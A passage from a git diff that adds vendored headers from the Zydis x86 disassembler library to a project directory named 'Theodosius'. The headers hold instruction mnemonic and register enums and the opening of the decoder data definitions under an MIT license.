ZYDIS_MNEMONIC_VPOR, + ZYDIS_MNEMONIC_VPORD, + ZYDIS_MNEMONIC_VPORQ, + ZYDIS_MNEMONIC_VPPERM, + ZYDIS_MNEMONIC_VPREFETCH0, + ZYDIS_MNEMONIC_VPREFETCH1, + ZYDIS_MNEMONIC_VPREFETCH2, + ZYDIS_MNEMONIC_VPREFETCHE0, + ZYDIS_MNEMONIC_VPREFETCHE1, + ZYDIS_MNEMONIC_VPREFETCHE2, + ZYDIS_MNEMONIC_VPREFETCHENTA, + ZYDIS_MNEMONIC_VPREFETCHNTA, + ZYDIS_MNEMONIC_VPROLD, + ZYDIS_MNEMONIC_VPROLQ, + ZYDIS_MNEMONIC_VPROLVD, + ZYDIS_MNEMONIC_VPROLVQ, + ZYDIS_MNEMONIC_VPRORD, + ZYDIS_MNEMONIC_VPRORQ, + ZYDIS_MNEMONIC_VPRORVD, + ZYDIS_MNEMONIC_VPRORVQ, + ZYDIS_MNEMONIC_VPROTB, + ZYDIS_MNEMONIC_VPROTD, + ZYDIS_MNEMONIC_VPROTQ, + ZYDIS_MNEMONIC_VPROTW, + ZYDIS_MNEMONIC_VPSADBW, + ZYDIS_MNEMONIC_VPSBBD, + ZYDIS_MNEMONIC_VPSBBRD, + ZYDIS_MNEMONIC_VPSCATTERDD, + ZYDIS_MNEMONIC_VPSCATTERDQ, + ZYDIS_MNEMONIC_VPSCATTERQD, + ZYDIS_MNEMONIC_VPSCATTERQQ, + ZYDIS_MNEMONIC_VPSHAB, + ZYDIS_MNEMONIC_VPSHAD, + ZYDIS_MNEMONIC_VPSHAQ, + ZYDIS_MNEMONIC_VPSHAW, + ZYDIS_MNEMONIC_VPSHLB, + ZYDIS_MNEMONIC_VPSHLD, + ZYDIS_MNEMONIC_VPSHLDD, + ZYDIS_MNEMONIC_VPSHLDQ, + ZYDIS_MNEMONIC_VPSHLDVD, + ZYDIS_MNEMONIC_VPSHLDVQ, + ZYDIS_MNEMONIC_VPSHLDVW, + ZYDIS_MNEMONIC_VPSHLDW, + ZYDIS_MNEMONIC_VPSHLQ, + ZYDIS_MNEMONIC_VPSHLW, + ZYDIS_MNEMONIC_VPSHRDD, + ZYDIS_MNEMONIC_VPSHRDQ, + ZYDIS_MNEMONIC_VPSHRDVD, + ZYDIS_MNEMONIC_VPSHRDVQ, + ZYDIS_MNEMONIC_VPSHRDVW, + ZYDIS_MNEMONIC_VPSHRDW, + ZYDIS_MNEMONIC_VPSHUFB, + ZYDIS_MNEMONIC_VPSHUFBITQMB, + ZYDIS_MNEMONIC_VPSHUFD, + ZYDIS_MNEMONIC_VPSHUFHW, + ZYDIS_MNEMONIC_VPSHUFLW, + ZYDIS_MNEMONIC_VPSIGNB, + ZYDIS_MNEMONIC_VPSIGND, + ZYDIS_MNEMONIC_VPSIGNW, + ZYDIS_MNEMONIC_VPSLLD, + ZYDIS_MNEMONIC_VPSLLDQ, + ZYDIS_MNEMONIC_VPSLLQ, + ZYDIS_MNEMONIC_VPSLLVD, + ZYDIS_MNEMONIC_VPSLLVQ, + ZYDIS_MNEMONIC_VPSLLVW, + ZYDIS_MNEMONIC_VPSLLW, + ZYDIS_MNEMONIC_VPSRAD, + ZYDIS_MNEMONIC_VPSRAQ, + ZYDIS_MNEMONIC_VPSRAVD, + ZYDIS_MNEMONIC_VPSRAVQ, + ZYDIS_MNEMONIC_VPSRAVW, + ZYDIS_MNEMONIC_VPSRAW, + ZYDIS_MNEMONIC_VPSRLD, + ZYDIS_MNEMONIC_VPSRLDQ, + ZYDIS_MNEMONIC_VPSRLQ, + ZYDIS_MNEMONIC_VPSRLVD, + ZYDIS_MNEMONIC_VPSRLVQ, + ZYDIS_MNEMONIC_VPSRLVW, + ZYDIS_MNEMONIC_VPSRLW, + ZYDIS_MNEMONIC_VPSUBB, + ZYDIS_MNEMONIC_VPSUBD, + ZYDIS_MNEMONIC_VPSUBQ, + ZYDIS_MNEMONIC_VPSUBRD, + ZYDIS_MNEMONIC_VPSUBRSETBD, + ZYDIS_MNEMONIC_VPSUBSB, + ZYDIS_MNEMONIC_VPSUBSETBD, + ZYDIS_MNEMONIC_VPSUBSW, + ZYDIS_MNEMONIC_VPSUBUSB, + ZYDIS_MNEMONIC_VPSUBUSW, + ZYDIS_MNEMONIC_VPSUBW, + ZYDIS_MNEMONIC_VPTERNLOGD, + ZYDIS_MNEMONIC_VPTERNLOGQ, + ZYDIS_MNEMONIC_VPTEST, + ZYDIS_MNEMONIC_VPTESTMB, + ZYDIS_MNEMONIC_VPTESTMD, + ZYDIS_MNEMONIC_VPTESTMQ, + ZYDIS_MNEMONIC_VPTESTMW, + ZYDIS_MNEMONIC_VPTESTNMB, + ZYDIS_MNEMONIC_VPTESTNMD, + ZYDIS_MNEMONIC_VPTESTNMQ, + ZYDIS_MNEMONIC_VPTESTNMW, + ZYDIS_MNEMONIC_VPUNPCKHBW, + ZYDIS_MNEMONIC_VPUNPCKHDQ, + ZYDIS_MNEMONIC_VPUNPCKHQDQ, + ZYDIS_MNEMONIC_VPUNPCKHWD, + ZYDIS_MNEMONIC_VPUNPCKLBW, + ZYDIS_MNEMONIC_VPUNPCKLDQ, + ZYDIS_MNEMONIC_VPUNPCKLQDQ, + ZYDIS_MNEMONIC_VPUNPCKLWD, + ZYDIS_MNEMONIC_VPXOR, + ZYDIS_MNEMONIC_VPXORD, + ZYDIS_MNEMONIC_VPXORQ, + ZYDIS_MNEMONIC_VRANGEPD, + ZYDIS_MNEMONIC_VRANGEPS, + ZYDIS_MNEMONIC_VRANGESD, + ZYDIS_MNEMONIC_VRANGESS, + ZYDIS_MNEMONIC_VRCP14PD, + ZYDIS_MNEMONIC_VRCP14PS, + ZYDIS_MNEMONIC_VRCP14SD, + ZYDIS_MNEMONIC_VRCP14SS, + ZYDIS_MNEMONIC_VRCP23PS, + ZYDIS_MNEMONIC_VRCP28PD, + ZYDIS_MNEMONIC_VRCP28PS, + ZYDIS_MNEMONIC_VRCP28SD, + ZYDIS_MNEMONIC_VRCP28SS, + ZYDIS_MNEMONIC_VRCPPS, + ZYDIS_MNEMONIC_VRCPSS, + ZYDIS_MNEMONIC_VREDUCEPD, + ZYDIS_MNEMONIC_VREDUCEPS, + ZYDIS_MNEMONIC_VREDUCESD, + ZYDIS_MNEMONIC_VREDUCESS, + ZYDIS_MNEMONIC_VRNDFXPNTPD, + ZYDIS_MNEMONIC_VRNDFXPNTPS, + ZYDIS_MNEMONIC_VRNDSCALEPD, + ZYDIS_MNEMONIC_VRNDSCALEPS, + ZYDIS_MNEMONIC_VRNDSCALESD, + ZYDIS_MNEMONIC_VRNDSCALESS, + ZYDIS_MNEMONIC_VROUNDPD, + ZYDIS_MNEMONIC_VROUNDPS, + ZYDIS_MNEMONIC_VROUNDSD, + ZYDIS_MNEMONIC_VROUNDSS, + ZYDIS_MNEMONIC_VRSQRT14PD, + ZYDIS_MNEMONIC_VRSQRT14PS, + ZYDIS_MNEMONIC_VRSQRT14SD, + ZYDIS_MNEMONIC_VRSQRT14SS, + ZYDIS_MNEMONIC_VRSQRT23PS, + ZYDIS_MNEMONIC_VRSQRT28PD, + ZYDIS_MNEMONIC_VRSQRT28PS, + ZYDIS_MNEMONIC_VRSQRT28SD, + ZYDIS_MNEMONIC_VRSQRT28SS, + ZYDIS_MNEMONIC_VRSQRTPS, + ZYDIS_MNEMONIC_VRSQRTSS, + ZYDIS_MNEMONIC_VSCALEFPD, + ZYDIS_MNEMONIC_VSCALEFPS, + ZYDIS_MNEMONIC_VSCALEFSD, + ZYDIS_MNEMONIC_VSCALEFSS, + ZYDIS_MNEMONIC_VSCALEPS, + ZYDIS_MNEMONIC_VSCATTERDPD, + ZYDIS_MNEMONIC_VSCATTERDPS, + ZYDIS_MNEMONIC_VSCATTERPF0DPD, + ZYDIS_MNEMONIC_VSCATTERPF0DPS, + ZYDIS_MNEMONIC_VSCATTERPF0HINTDPD, + ZYDIS_MNEMONIC_VSCATTERPF0HINTDPS, + ZYDIS_MNEMONIC_VSCATTERPF0QPD, + ZYDIS_MNEMONIC_VSCATTERPF0QPS, + ZYDIS_MNEMONIC_VSCATTERPF1DPD, + ZYDIS_MNEMONIC_VSCATTERPF1DPS, + ZYDIS_MNEMONIC_VSCATTERPF1QPD, + ZYDIS_MNEMONIC_VSCATTERPF1QPS, + ZYDIS_MNEMONIC_VSCATTERQPD, + ZYDIS_MNEMONIC_VSCATTERQPS, + ZYDIS_MNEMONIC_VSHUFF32X4, + ZYDIS_MNEMONIC_VSHUFF64X2, + ZYDIS_MNEMONIC_VSHUFI32X4, + ZYDIS_MNEMONIC_VSHUFI64X2, + ZYDIS_MNEMONIC_VSHUFPD, + ZYDIS_MNEMONIC_VSHUFPS, + ZYDIS_MNEMONIC_VSQRTPD, + ZYDIS_MNEMONIC_VSQRTPS, + ZYDIS_MNEMONIC_VSQRTSD, + ZYDIS_MNEMONIC_VSQRTSS, + ZYDIS_MNEMONIC_VSTMXCSR, + ZYDIS_MNEMONIC_VSUBPD, + ZYDIS_MNEMONIC_VSUBPS, + ZYDIS_MNEMONIC_VSUBRPD, + ZYDIS_MNEMONIC_VSUBRPS, + ZYDIS_MNEMONIC_VSUBSD, + ZYDIS_MNEMONIC_VSUBSS, + ZYDIS_MNEMONIC_VTESTPD, + ZYDIS_MNEMONIC_VTESTPS, + ZYDIS_MNEMONIC_VUCOMISD, + ZYDIS_MNEMONIC_VUCOMISS, + ZYDIS_MNEMONIC_VUNPCKHPD, + ZYDIS_MNEMONIC_VUNPCKHPS, + ZYDIS_MNEMONIC_VUNPCKLPD, + ZYDIS_MNEMONIC_VUNPCKLPS, + ZYDIS_MNEMONIC_VXORPD, + ZYDIS_MNEMONIC_VXORPS, + ZYDIS_MNEMONIC_VZEROALL, + ZYDIS_MNEMONIC_VZEROUPPER, + ZYDIS_MNEMONIC_WBINVD, + ZYDIS_MNEMONIC_WRFSBASE, + ZYDIS_MNEMONIC_WRGSBASE, + ZYDIS_MNEMONIC_WRMSR, + ZYDIS_MNEMONIC_WRPKRU, + ZYDIS_MNEMONIC_WRSSD, + ZYDIS_MNEMONIC_WRSSQ, + ZYDIS_MNEMONIC_WRUSSD, + ZYDIS_MNEMONIC_WRUSSQ, + ZYDIS_MNEMONIC_XABORT, + ZYDIS_MNEMONIC_XADD, + ZYDIS_MNEMONIC_XBEGIN, + ZYDIS_MNEMONIC_XCHG, + ZYDIS_MNEMONIC_XCRYPT_CBC, + ZYDIS_MNEMONIC_XCRYPT_CFB, + ZYDIS_MNEMONIC_XCRYPT_CTR, + ZYDIS_MNEMONIC_XCRYPT_ECB, + ZYDIS_MNEMONIC_XCRYPT_OFB, + ZYDIS_MNEMONIC_XEND, + ZYDIS_MNEMONIC_XGETBV, + ZYDIS_MNEMONIC_XLAT, + ZYDIS_MNEMONIC_XOR, + ZYDIS_MNEMONIC_XORPD, + ZYDIS_MNEMONIC_XORPS, + ZYDIS_MNEMONIC_XRESLDTRK, + ZYDIS_MNEMONIC_XRSTOR, + ZYDIS_MNEMONIC_XRSTOR64, + ZYDIS_MNEMONIC_XRSTORS, + ZYDIS_MNEMONIC_XRSTORS64, + ZYDIS_MNEMONIC_XSAVE, + ZYDIS_MNEMONIC_XSAVE64, + ZYDIS_MNEMONIC_XSAVEC, + ZYDIS_MNEMONIC_XSAVEC64, + ZYDIS_MNEMONIC_XSAVEOPT, + ZYDIS_MNEMONIC_XSAVEOPT64, + ZYDIS_MNEMONIC_XSAVES, + ZYDIS_MNEMONIC_XSAVES64, + ZYDIS_MNEMONIC_XSETBV, + ZYDIS_MNEMONIC_XSHA1, + ZYDIS_MNEMONIC_XSHA256, + ZYDIS_MNEMONIC_XSTORE, + ZYDIS_MNEMONIC_XSUSLDTRK, + ZYDIS_MNEMONIC_XTEST, + + /** + * Maximum value of this enum. + */ + ZYDIS_MNEMONIC_MAX_VALUE = ZYDIS_MNEMONIC_XTEST, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MNEMONIC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MNEMONIC_MAX_VALUE) +} ZydisMnemonic; diff --git a/Theodosius/Zydis/Generated/EnumRegister.h b/Theodosius/Zydis/Generated/EnumRegister.h new file mode 100644 index 0000000..3135fe0 --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumRegister.h @@ -0,0 +1,301 @@ +/** + * Defines the `ZydisRegister` enum. + */ +typedef enum ZydisRegister_ +{ + ZYDIS_REGISTER_NONE, + + // General purpose registers 8-bit + ZYDIS_REGISTER_AL, + ZYDIS_REGISTER_CL, + ZYDIS_REGISTER_DL, + ZYDIS_REGISTER_BL, + ZYDIS_REGISTER_AH, + ZYDIS_REGISTER_CH, + ZYDIS_REGISTER_DH, + ZYDIS_REGISTER_BH, + ZYDIS_REGISTER_SPL, + ZYDIS_REGISTER_BPL, + ZYDIS_REGISTER_SIL, + ZYDIS_REGISTER_DIL, + ZYDIS_REGISTER_R8B, + ZYDIS_REGISTER_R9B, + ZYDIS_REGISTER_R10B, + ZYDIS_REGISTER_R11B, + ZYDIS_REGISTER_R12B, + ZYDIS_REGISTER_R13B, + ZYDIS_REGISTER_R14B, + ZYDIS_REGISTER_R15B, + // General purpose registers 16-bit + ZYDIS_REGISTER_AX, + ZYDIS_REGISTER_CX, + ZYDIS_REGISTER_DX, + ZYDIS_REGISTER_BX, + ZYDIS_REGISTER_SP, + ZYDIS_REGISTER_BP, + ZYDIS_REGISTER_SI, + ZYDIS_REGISTER_DI, + ZYDIS_REGISTER_R8W, + ZYDIS_REGISTER_R9W, + ZYDIS_REGISTER_R10W, + ZYDIS_REGISTER_R11W, + ZYDIS_REGISTER_R12W, + ZYDIS_REGISTER_R13W, + ZYDIS_REGISTER_R14W, + ZYDIS_REGISTER_R15W, + // General purpose registers 32-bit + ZYDIS_REGISTER_EAX, + ZYDIS_REGISTER_ECX, + ZYDIS_REGISTER_EDX, + ZYDIS_REGISTER_EBX, + ZYDIS_REGISTER_ESP, + ZYDIS_REGISTER_EBP, + ZYDIS_REGISTER_ESI, + ZYDIS_REGISTER_EDI, + ZYDIS_REGISTER_R8D, + ZYDIS_REGISTER_R9D, + ZYDIS_REGISTER_R10D, + ZYDIS_REGISTER_R11D, + ZYDIS_REGISTER_R12D, + ZYDIS_REGISTER_R13D, + ZYDIS_REGISTER_R14D, + ZYDIS_REGISTER_R15D, + // General purpose registers 64-bit + ZYDIS_REGISTER_RAX, + ZYDIS_REGISTER_RCX, + ZYDIS_REGISTER_RDX, + ZYDIS_REGISTER_RBX, + ZYDIS_REGISTER_RSP, + ZYDIS_REGISTER_RBP, + ZYDIS_REGISTER_RSI, + ZYDIS_REGISTER_RDI, + ZYDIS_REGISTER_R8, + ZYDIS_REGISTER_R9, + ZYDIS_REGISTER_R10, + ZYDIS_REGISTER_R11, + ZYDIS_REGISTER_R12, + ZYDIS_REGISTER_R13, + ZYDIS_REGISTER_R14, + ZYDIS_REGISTER_R15, + // Floating point legacy registers + ZYDIS_REGISTER_ST0, + ZYDIS_REGISTER_ST1, + ZYDIS_REGISTER_ST2, + ZYDIS_REGISTER_ST3, + ZYDIS_REGISTER_ST4, + ZYDIS_REGISTER_ST5, + ZYDIS_REGISTER_ST6, + ZYDIS_REGISTER_ST7, + ZYDIS_REGISTER_X87CONTROL, + ZYDIS_REGISTER_X87STATUS, + ZYDIS_REGISTER_X87TAG, + // Floating point multimedia registers + ZYDIS_REGISTER_MM0, + ZYDIS_REGISTER_MM1, + ZYDIS_REGISTER_MM2, + ZYDIS_REGISTER_MM3, + ZYDIS_REGISTER_MM4, + ZYDIS_REGISTER_MM5, + ZYDIS_REGISTER_MM6, + ZYDIS_REGISTER_MM7, + // Floating point vector registers 128-bit + ZYDIS_REGISTER_XMM0, + ZYDIS_REGISTER_XMM1, + ZYDIS_REGISTER_XMM2, + ZYDIS_REGISTER_XMM3, + ZYDIS_REGISTER_XMM4, + ZYDIS_REGISTER_XMM5, + ZYDIS_REGISTER_XMM6, + ZYDIS_REGISTER_XMM7, + ZYDIS_REGISTER_XMM8, + ZYDIS_REGISTER_XMM9, + ZYDIS_REGISTER_XMM10, + ZYDIS_REGISTER_XMM11, + ZYDIS_REGISTER_XMM12, + ZYDIS_REGISTER_XMM13, + ZYDIS_REGISTER_XMM14, + ZYDIS_REGISTER_XMM15, + ZYDIS_REGISTER_XMM16, + ZYDIS_REGISTER_XMM17, + ZYDIS_REGISTER_XMM18, + ZYDIS_REGISTER_XMM19, + ZYDIS_REGISTER_XMM20, + ZYDIS_REGISTER_XMM21, + ZYDIS_REGISTER_XMM22, + ZYDIS_REGISTER_XMM23, + ZYDIS_REGISTER_XMM24, + ZYDIS_REGISTER_XMM25, + ZYDIS_REGISTER_XMM26, + ZYDIS_REGISTER_XMM27, + ZYDIS_REGISTER_XMM28, + ZYDIS_REGISTER_XMM29, + ZYDIS_REGISTER_XMM30, + ZYDIS_REGISTER_XMM31, + // Floating point vector registers 256-bit + ZYDIS_REGISTER_YMM0, + ZYDIS_REGISTER_YMM1, + ZYDIS_REGISTER_YMM2, + ZYDIS_REGISTER_YMM3, + ZYDIS_REGISTER_YMM4, + ZYDIS_REGISTER_YMM5, + ZYDIS_REGISTER_YMM6, + ZYDIS_REGISTER_YMM7, + ZYDIS_REGISTER_YMM8, + ZYDIS_REGISTER_YMM9, + ZYDIS_REGISTER_YMM10, + ZYDIS_REGISTER_YMM11, + ZYDIS_REGISTER_YMM12, + ZYDIS_REGISTER_YMM13, + ZYDIS_REGISTER_YMM14, + ZYDIS_REGISTER_YMM15, + ZYDIS_REGISTER_YMM16, + ZYDIS_REGISTER_YMM17, + ZYDIS_REGISTER_YMM18, + ZYDIS_REGISTER_YMM19, + ZYDIS_REGISTER_YMM20, + ZYDIS_REGISTER_YMM21, + ZYDIS_REGISTER_YMM22, + ZYDIS_REGISTER_YMM23, + ZYDIS_REGISTER_YMM24, + ZYDIS_REGISTER_YMM25, + ZYDIS_REGISTER_YMM26, + ZYDIS_REGISTER_YMM27, + ZYDIS_REGISTER_YMM28, + ZYDIS_REGISTER_YMM29, + ZYDIS_REGISTER_YMM30, + ZYDIS_REGISTER_YMM31, + // Floating point vector registers 512-bit + ZYDIS_REGISTER_ZMM0, + ZYDIS_REGISTER_ZMM1, + ZYDIS_REGISTER_ZMM2, + ZYDIS_REGISTER_ZMM3, + ZYDIS_REGISTER_ZMM4, + ZYDIS_REGISTER_ZMM5, + ZYDIS_REGISTER_ZMM6, + ZYDIS_REGISTER_ZMM7, + ZYDIS_REGISTER_ZMM8, + ZYDIS_REGISTER_ZMM9, + ZYDIS_REGISTER_ZMM10, + ZYDIS_REGISTER_ZMM11, + ZYDIS_REGISTER_ZMM12, + ZYDIS_REGISTER_ZMM13, + ZYDIS_REGISTER_ZMM14, + ZYDIS_REGISTER_ZMM15, + ZYDIS_REGISTER_ZMM16, + ZYDIS_REGISTER_ZMM17, + ZYDIS_REGISTER_ZMM18, + ZYDIS_REGISTER_ZMM19, + ZYDIS_REGISTER_ZMM20, + ZYDIS_REGISTER_ZMM21, + ZYDIS_REGISTER_ZMM22, + ZYDIS_REGISTER_ZMM23, + ZYDIS_REGISTER_ZMM24, + ZYDIS_REGISTER_ZMM25, + ZYDIS_REGISTER_ZMM26, + ZYDIS_REGISTER_ZMM27, + ZYDIS_REGISTER_ZMM28, + ZYDIS_REGISTER_ZMM29, + ZYDIS_REGISTER_ZMM30, + ZYDIS_REGISTER_ZMM31, + // Matrix registers + ZYDIS_REGISTER_TMM0, + ZYDIS_REGISTER_TMM1, + ZYDIS_REGISTER_TMM2, + ZYDIS_REGISTER_TMM3, + ZYDIS_REGISTER_TMM4, + ZYDIS_REGISTER_TMM5, + ZYDIS_REGISTER_TMM6, + ZYDIS_REGISTER_TMM7, + // Flags registers + ZYDIS_REGISTER_FLAGS, + ZYDIS_REGISTER_EFLAGS, + ZYDIS_REGISTER_RFLAGS, + // Instruction-pointer registers + ZYDIS_REGISTER_IP, + ZYDIS_REGISTER_EIP, + ZYDIS_REGISTER_RIP, + // Segment registers + ZYDIS_REGISTER_ES, + ZYDIS_REGISTER_CS, + ZYDIS_REGISTER_SS, + ZYDIS_REGISTER_DS, + ZYDIS_REGISTER_FS, + ZYDIS_REGISTER_GS, + // Table registers + ZYDIS_REGISTER_GDTR, + ZYDIS_REGISTER_LDTR, + ZYDIS_REGISTER_IDTR, + ZYDIS_REGISTER_TR, + // Test registers + ZYDIS_REGISTER_TR0, + ZYDIS_REGISTER_TR1, + ZYDIS_REGISTER_TR2, + ZYDIS_REGISTER_TR3, + ZYDIS_REGISTER_TR4, + ZYDIS_REGISTER_TR5, + ZYDIS_REGISTER_TR6, + ZYDIS_REGISTER_TR7, + // Control registers + ZYDIS_REGISTER_CR0, + ZYDIS_REGISTER_CR1, + ZYDIS_REGISTER_CR2, + ZYDIS_REGISTER_CR3, + ZYDIS_REGISTER_CR4, + ZYDIS_REGISTER_CR5, + ZYDIS_REGISTER_CR6, + ZYDIS_REGISTER_CR7, + ZYDIS_REGISTER_CR8, + ZYDIS_REGISTER_CR9, + ZYDIS_REGISTER_CR10, + ZYDIS_REGISTER_CR11, + ZYDIS_REGISTER_CR12, + ZYDIS_REGISTER_CR13, + ZYDIS_REGISTER_CR14, + ZYDIS_REGISTER_CR15, + // Debug registers + ZYDIS_REGISTER_DR0, + ZYDIS_REGISTER_DR1, + ZYDIS_REGISTER_DR2, + ZYDIS_REGISTER_DR3, + ZYDIS_REGISTER_DR4, + ZYDIS_REGISTER_DR5, + ZYDIS_REGISTER_DR6, + ZYDIS_REGISTER_DR7, + ZYDIS_REGISTER_DR8, + ZYDIS_REGISTER_DR9, + ZYDIS_REGISTER_DR10, + ZYDIS_REGISTER_DR11, + ZYDIS_REGISTER_DR12, + ZYDIS_REGISTER_DR13, + ZYDIS_REGISTER_DR14, + ZYDIS_REGISTER_DR15, + // Mask registers + ZYDIS_REGISTER_K0, + ZYDIS_REGISTER_K1, + ZYDIS_REGISTER_K2, + ZYDIS_REGISTER_K3, + ZYDIS_REGISTER_K4, + ZYDIS_REGISTER_K5, + ZYDIS_REGISTER_K6, + ZYDIS_REGISTER_K7, + // Bound registers + ZYDIS_REGISTER_BND0, + ZYDIS_REGISTER_BND1, + ZYDIS_REGISTER_BND2, + ZYDIS_REGISTER_BND3, + ZYDIS_REGISTER_BNDCFG, + ZYDIS_REGISTER_BNDSTATUS, + // Uncategorized + ZYDIS_REGISTER_MXCSR, + ZYDIS_REGISTER_PKRU, + ZYDIS_REGISTER_XCR0, + + /** + * Maximum value of this enum. + */ + ZYDIS_REGISTER_MAX_VALUE = ZYDIS_REGISTER_XCR0, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_REGISTER_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REGISTER_MAX_VALUE) +} ZydisRegister; diff --git a/Theodosius/Zydis/Internal/DecoderData.h b/Theodosius/Zydis/Internal/DecoderData.h new file mode 100644 index 0000000..db6cf53 --- /dev/null +++ b/Theodosius/Zydis/Internal/DecoderData.h @@ -0,0 +1,331 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +#ifndef ZYDIS_INTERNAL_DECODERDATA_H +#define ZYDIS_INTERNAL_DECODERDATA_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +// MSVC does not like types other than (un-)signed int for bit-fields +#ifdef ZYAN_MSVC +# pragma warning(push) +# pragma warning(disable:4214) +#endif + +#pragma pack(push, 1) + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder tree */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoderTreeNodeType` data-type. + */ +typedef ZyanU8 ZydisDecoderTreeNodeType; + +/** + * Values that represent zydis decoder tree node types. + */ +enum ZydisDecoderTreeNodeTypes +{ + ZYDIS_NODETYPE_INVALID = 0x00, + /** + * Reference to an instruction-definition. + */ + ZYDIS_NODETYPE_DEFINITION_MASK = 0x80, + /** + * Reference to an XOP-map filter. + */ + ZYDIS_NODETYPE_FILTER_XOP = 0x01, + /** + * Reference to an VEX-map filter. + */ + ZYDIS_NODETYPE_FILTER_VEX = 0x02, + /** + * Reference to an EVEX/MVEX-map filter. + */ + ZYDIS_NODETYPE_FILTER_EMVEX = 0x03, + /** + * Reference to an opcode filter. + */ + ZYDIS_NODETYPE_FILTER_OPCODE = 0x04, + /** + * Reference to an instruction-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE = 0x05, + /** + * Reference to an compacted instruction-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_COMPACT = 0x06, + /** + * Reference to a ModRM.mod filter. + */ + ZYDIS_NODETYPE_FILTER_MODRM_MOD = 0x07, + /** + * Reference to a compacted ModRM.mod filter. + */ + ZYDIS_NODETYPE_FILTER_MODRM_MOD_COMPACT = 0x08, + /** + * Reference to a ModRM.reg filter. + */ + ZYDIS_NODETYPE_FILTER_MODRM_REG = 0x09, + /** + * Reference to a ModRM.rm filter. + */ + ZYDIS_NODETYPE_FILTER_MODRM_RM = 0x0A, + /** + * Reference to a PrefixGroup1 filter. + */ + ZYDIS_NODETYPE_FILTER_PREFIX_GROUP1 = 0x0B, + /** + * Reference to a mandatory-prefix filter. + */ + ZYDIS_NODETYPE_FILTER_MANDATORY_PREFIX = 0x0C, + /** + * Reference to an operand-size filter. + */ + ZYDIS_NODETYPE_FILTER_OPERAND_SIZE = 0x0D, + /** + * Reference to an address-size filter. + */ + ZYDIS_NODETYPE_FILTER_ADDRESS_SIZE = 0x0E, + /** + * Reference to a vector-length filter. + */ + ZYDIS_NODETYPE_FILTER_VECTOR_LENGTH = 0x0F, + /** + * Reference to an REX/VEX/EVEX.W filter. + */ + ZYDIS_NODETYPE_FILTER_REX_W = 0x10, + /** + * Reference to an REX/VEX/EVEX.B filter. + */ + ZYDIS_NODETYPE_FILTER_REX_B = 0x11, + /** + * Reference to an EVEX.b filter. + */ + ZYDIS_NODETYPE_FILTER_EVEX_B = 0x12, + /** + * Reference to an MVEX.E filter. + */ + ZYDIS_NODETYPE_FILTER_MVEX_E = 0x13, + /** + * Reference to a AMD-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_AMD = 0x14, + /** + * Reference to a KNC-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_KNC = 0x15, + /** + * Reference to a MPX-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_MPX = 0x16, + /** + * Reference to a CET-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_CET = 0x17, + /** + * Reference to a LZCNT-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_LZCNT = 0x18, + /** + * Reference to a TZCNT-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_TZCNT = 0x19, + /** + * Reference to a WBNOINVD-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_WBNOINVD = 0x1A, + /** + * Reference to a CLDEMOTE-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_CLDEMOTE = 0x1B +}; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoderTreeNodeValue` data-type. + */ +typedef ZyanU16 ZydisDecoderTreeNodeValue; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoderTreeNode` struct. + */ +typedef struct ZydisDecoderTreeNode_ +{ + ZydisDecoderTreeNodeType type; + ZydisDecoderTreeNodeValue value; +} ZydisDecoderTreeNode; + +/* ---------------------------------------------------------------------------------------------- */ + +#pragma pack(pop) + +#ifdef ZYAN_MSVC +# pragma warning(pop) +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Physical instruction encoding info */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInstructionEncodingFlags` data-type. + */ +typedef ZyanU8 ZydisInstructionEncodingFlags; + +/** + * The instruction has an optional modrm byte. + */ +#define ZYDIS_INSTR_ENC_FLAG_HAS_MODRM 0x01 + +/** + * The instruction has an optional displacement value. + */ +#define ZYDIS_INSTR_ENC_FLAG_HAS_DISP 0x02 + +/** + * The instruction has an optional immediate value. + */ +#define ZYDIS_INSTR_ENC_FLAG_HAS_IMM0 0x04 + +/** + * The instruction has a second optional immediate value. + */ +#define ZYDIS_INSTR_ENC_FLAG_HAS_IMM1 0x08 + +/** + * The instruction ignores the value of `modrm.mod` and always assumes `modrm.mod == 3` + * ("reg, reg" - form). + * + * Instructions with this flag can't have a SIB byte or a displacement value. + */ +#define 